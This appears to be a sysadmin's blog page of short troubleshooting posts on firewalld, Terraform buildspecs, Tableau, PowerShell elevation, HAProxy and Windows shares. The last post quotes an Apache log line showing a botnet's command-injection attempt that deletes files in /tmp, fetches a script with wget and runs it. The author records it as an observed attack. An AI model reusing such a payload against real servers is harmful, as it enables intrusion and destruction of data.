Add port to firewalld for external access

The following command will list the current firewall rules:

firewall-cmd --list-all

To add a new rule, issue the following command:

firewall-cmd --zone=public --permanent --add-port=443/tcp

Next, reload firewalld:

firewall-cmd --reload

List the rules again to confirm:

firewall-cmd --list-all


Unknown variable; There is no variable named…

I was building an AWS Code Pipeline recently with terraform to deploy a new rails application on an ECS cluster and encountered the following error:

Error: failed to render : <template_file>:22,137-152: Unknown variable; There is no variable named "SECRET_KEY_BASE".
  on line 50, in data "template_file" "buildspec":
  50: data "template_file" "buildspec" {

Releasing state lock. This may take a few moments...
[terragrunt] 2020/12/21 17:48:38 Hit multiple errors:
exit status 1

The problem in the buildspec.yml was the following line:

      - docker build --build-arg RAILS_ENV="production" --build-arg RAILS_MASTER_KEY="$RAILS_MASTER_KEY" --build-arg SECRET_KEY_BASE=${SECRET_KEY_BASE} -t $REPOSITORY_URI:latest .

All of these build arguments were taken from System Manager’s Parameter store, so I know they were there. The problem was that I copied and pasted a docker build command that included the build-arg and the format did not work here. For correct interpolation, the argument variable must be enclosed in double quotes and not surrounded by curly braces. This is the correct format:

      - docker build --build-arg RAILS_ENV="production" --build-arg RAILS_MASTER_KEY="$RAILS_MASTER_KEY" --build-arg SECRET_KEY_BASE="$SECRET_KEY_BASE" -t $REPOSITORY_URI:latest .

Once I fixed that issue, the build succeeded.

Note that the SECRET_KEY_BASE should never necessary (or desirable) to pass to the build process since it becomes accessible when the RAILS_MASTER_KEY is used to open the encrypted secrets file, but it is necessary when running “rails assets:precompile”. That is something that should not be required for this task and I believe a solution is being worked on to resolve this with the rails team.

Tableau 2020.2.4: This job failed due to unexpected error: ‘ServiceOperationTimeoutException’

I was recently working on a problem with Tableau Server where restore operations were failing due to a ServiceOperationTimeoutException. The restore was failing to a new server, that was maintained as a hot stand-by, or passive node.

Upon further examination, when trying to stop the service, via the browser control or from the command line using tsm, each time it would fail with this timeout error and the ‘Ask Data’ service would be in an error state. It didn’t matter how many times I tried to stop Tableau, it would never stop.

The ‘Ask Data’ service is listed in the process table (task manager) as nlp.exe. I found that if I issued a stop command, waited for it to timeout, and then killed the nlp.exe process, I was able to restore successfully.

The issue resolved after rebooting the server.

Running powershell scripts as administrator

Even though a user is in the Administrators group, when opening a powershell console, or running a scheduled task, even with “highest privileges”, the powershell script does not run with administrator privileges. This usually results in the following error:

PS C:\Users\josh> stop-service filebeat
stop-service : Service 'filebeat (filebeat)' cannot be stopped due to the following error: Cannot open filebeat
service on computer '.'.
At line:1 char:1
+ stop-service filebeat
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : CloseError: (System.ServiceProcess.ServiceController:ServiceController) [Stop-Service],
    + FullyQualifiedErrorId : CouldNotStopService,Microsoft.PowerShell.Commands.StopServiceCommand

PS C:\Users\josh> 

One way to solve this problem is to refactor the powershell script to check for administrator privileges and launch a new process using the RunAs Verb if not administrator.

# Get the ID and security principal of the current user account
$myWindowsPrincipal=new-object System.Security.Principal.WindowsPrincipal($myWindowsID)
# Get the security principal for the Administrator role
# Check to see if we are currently running "as Administrator"
if ($myWindowsPrincipal.IsInRole($adminRole))
   # We are running "as Administrator" - so change the title and background color to indicate this
   $Host.UI.RawUI.WindowTitle = $myInvocation.MyCommand.Definition + "(Elevated)"
   $Host.UI.RawUI.BackgroundColor = "DarkBlue"
	# We are not running "as Administrator" - so relaunch as administrator
	# Create a new process object that starts PowerShell
	$newProcess = new-object System.Diagnostics.ProcessStartInfo "PowerShell";
	# Specify the current script path and name as a parameter
	$newProcess.Arguments = $myInvocation.MyCommand.Definition;
	# Indicate that the process should be elevated
	$newProcess.Verb = "runas";
	# Start the new process
	# Exit from the current, unelevated, process

Thanks to lokiwins at Reddit for passing this along.

Migrating from Rackspace to AWS

I finally migrated my web and email hosting from Rackspace to AWS. I have been with Rackspace since the Slicehost days, back in September of 2009. I’ve gone from having multiple clients hosting large, multi-terabyte, applications with 60+ servers on Rackspace with dedicated technical account managers to only managing a few servers (mine and clients) and now just a few client servers.

One thing I just noticed while going over the billing statements from Rackspace, was that they have been charging me $10/month for support! Also, to delete my last server, I had to wait on hold for 30+ minutes and get a support tech to delete it for me.

Don’t get me wrong, there is a market for Rackspace. If you are more technical than the average person, and want to feel like you manage your own server, but have a safety net and pay for it, go with Rackspace.

I continue to support clients in Rackspace. Let me know if you need support or help migrating somewhere else.

Proxy SQL Services Reporting Server with HAProxy

A common issue with SQL Server Reporting Services is to proxy the server so it is not exposed on the internet. This is difficult to do with nginx, apache, and others due to NTLM authentication, although nginx offers a paid version that supports NTLM authentication. One easy fix is to use HAProxy and use TCP mode.

A simple configuration like the following works well. Note that this configuration requires an SSL certificate (+key) and terminates SSL at the haproxy service.

    log local2

    chroot      /var/lib/haproxy
    pidfile     /var/run/
    maxconn     4000
    user        haproxy
    group       haproxy

    stats socket /var/lib/haproxy/stats

    # utilize system-wide crypto-policies
    ssl-default-bind-ciphers PROFILE=SYSTEM
    ssl-default-server-ciphers PROFILE=SYSTEM

    mode                    http
    log                     global
    option                  httplog
    option                  dontlognull
    option http-server-close
    option forwardfor       except
    option                  redispatch
    retries                 3
    timeout http-request    10s
    timeout queue           1m
    timeout connect         10s
    timeout client          1m
    timeout server          1m
    timeout http-keep-alive 10s
    timeout check           10s
    maxconn                 3000

frontend main
    bind *:80
    bind *:443 ssl crt /etc/haproxy/$path_to_cert_and_key_in_one_file
    option tcplog
    mode tcp
    default_backend             ssrs

backend ssrs
    mode tcp
    server  $ssrs_hostname $ssrs_ip_address:80 check

Migrating DNS Domain to new Registrar

A not so common task for most is to migrate a domain from one registrar to another. One of the most important things that you can do to ensure the domain and applications remain available is to migrate all DNS records first and verify that it’s working on the new DNS provider, and only then, transfer the domain. Otherwise, the domain might become unavailable for up to 48 hours while DNS transfers after the old provider stops hosting.

Windows Server: Create an Alias to Localhost FileShare

Windows, by default, does not allow the use of a hosts file entry to alias a CIFS share to localhost. The typical error when attempting this would be “Incorrect username or password.” when navigating to the share.

To fix this, add a registry entry like the following:

  • HKEY_LOCAL_MACHINE / SYSTEM / CurrentControlSet / Control / Lsa
  • Create REG_DWORD with name DisableLoopbackCheck and value 1

No reboot is required.

puppet: could not retrieve fact fqdn

On a recent new server deployment, I ran across the error that puppet could not find the fqdn fact:

Warning: Could not retrieve fact fqdn
Warning: Host is missing hostname and/or domain: $short_hostname

This was on an ubuntu 14.04 host running puppet 3.4.3 (ancient).

The fix was to ensure that the FQDN was in the hosts file before the short name, ie: $fqdn $short_hostname

No more errors.

Script Kiddy of the Day

I saw this humorous attempt in the apache logs this morning:

==> /var/log/httpd/access_log <== - - [13/Feb/2020:07:08:44 -0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+;sh+/tmp/jaws HTTP/1.1" 404 203 "-" "Hello, world"

Interesting domain, as always. Typical style for botnet controllers.